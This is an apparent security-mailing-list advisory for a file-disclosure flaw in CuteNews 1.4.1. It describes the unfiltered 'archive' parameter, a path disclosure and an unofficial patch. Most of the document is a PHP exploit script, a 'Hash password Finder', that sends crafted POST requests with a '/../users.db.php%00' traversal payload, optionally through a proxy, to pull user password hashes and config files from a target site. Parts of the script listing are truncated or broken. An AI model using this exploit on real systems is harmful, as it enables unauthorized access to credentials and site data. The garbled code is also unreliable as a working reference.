[UNIX] CuteNews Arbitrary File Access (Exploit)

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CuteNews Arbitrary File Access (Exploit)


<http://cutephp.com/> CuteNews is "a powerful and easy for using news
management system that use flat files to store its database". A
vulnerability within CuteNews allows remote attackers to cause the program
to return the content of arbitrary files, for example users.db.php and
config.php, both containing sensitive information.


Vulnerable Systems:
* CuteNews version 1.4.1

Input passed to the "archive" (POST,COOKIE,... method) parameter in
"inc/function.php" isn't properly verified. This can be exploited to
access arbitrary files (like users.db.php and config.php).

Vulnerable Code:
The following lines in $cutepath/inc/functions.inc.php on line 7

if( isset($_GET['archive']) and $_GET['archive'] != "" and
!eregi("^[_a-zA-Z0-9-]{1,}$", $_GET['archive'])){ die("invalid archive
characters"); }

You can see that CuteNews just filters:
$_GET['archive'] but they forgot $_POST['archive'], $COOKIE['archive']!
and in the rest of code they user $archive instead of $_GET['archive']

For example:
if($archive == ""){
$news_file = "$cutepath/data/news.txt";
$comm_file = "$cutepath/data/comments.txt";
$news_file =
$comm_file =

Successful exploitation requires that "register_globals" is enabled.

Path Disclosure:
In addition, if an attacker provides a filename which not exists, the
application will return some information about path of CuteNews on the
server, like this:

file([PATH]/cutenews/data/archives/hamid.news.arch): failed to open
stream: No such file or directory in [PATH]\cutenews\inc\shows.inc.php on
line 583

Unofficial Patch:
Change in line 8 : inc/functions.inc.php

if( isset($archive) and $archive != "" and !eregi("^[_a-zA-Z0-9-]{1,}$",
$archive)){ die("Patched by Hamid Ebadi -->http://hamid.ir ( Hamid
Network Security Team) "); }
if( isset($_REQUEST['archive']) and $_REQUEST['archive'] != "" and
!eregi("^[_a-zA-Z0-9-]{1,}$", $_REQUEST['archive'])){ die("Patched by
Hamid Ebadi -->http://hamid.ir ( Hamid Network Security Team) "); }

// Happy NEW Iranian year .
// Happy Norouz ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security
Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

echo '<head><title>CuteNews 1.4.1 user Hash password Finder</title>
<meta http-equiv="Content-Type" content="text/html;
<style type="text/css">
body,td,th {color: #000000;}
body {background-color:EBEBEB #;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-weight: bold;

<h2>CuteNews 1.4.1 (and Below) user Hash password Finder </h2>
<p class="Stile6">Security ? . </p>
<p class="Stile6">Bug Discovered and Exploited by Hamid Ebadi <a
href="http://www.hamid.ir"; target="_blank">.: Hamid Network Security Team
<p class="Stile5">Happy Norouz ( PERSIAN new year celebration ) Greetz to
all Iranian Hackers spacially my friends in ihsteam.com c0d3r.org
kapda.ir simorgh-ev.com hat-squad.com blacknews.ws ashiyane.com
websecurity.ir crouz.com shabgard.org hackerz.ir and ...</p>

<p class="Stile6">read this paper about <a
href="http://www.hamid.ir/security/"; target="_blank">CuteNews 1.4.1
<table width="84%" >
<td width="43%">
<form name="form1" method="post"
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<input type="text" name="path">
<span class="Stile5">path (ex: /cutenews/example2.php )
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)
<input type="text" name="command">
<span class="Stile5">specify a file other than
/../users.db.php%00 to read </span></p>
<input type="submit" name="Submit" value="go!">
<p class="Stile5">Spacial THX : rgod at <a
target="_blank">http://rgod.altervista.org</a> for his great codes (i just
change few lines of RGOD old NETQUERY remote commands execution

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";

echo "</tr></table>";

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host<>''))
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
if ($proxy=='')
{$packet="POST ".$path." HTTP/1.1\r\n";}
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
{$packet="POST http://".$host.$path."; HTTP/1.1\r\n";}

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";;
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1)
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";

echo '<br> Sending exploit to '.$host.'<br>';

if ($proxy=='')
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
if (!$fp) { echo 'No response from proxy...';

echo $packet ;

if ($proxy=='')
{ $data='';
while (!feof($fp))
while ((!feof($fp)) or

if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If CuteNews 1.4.1 is unpatched and
vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside
{echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;


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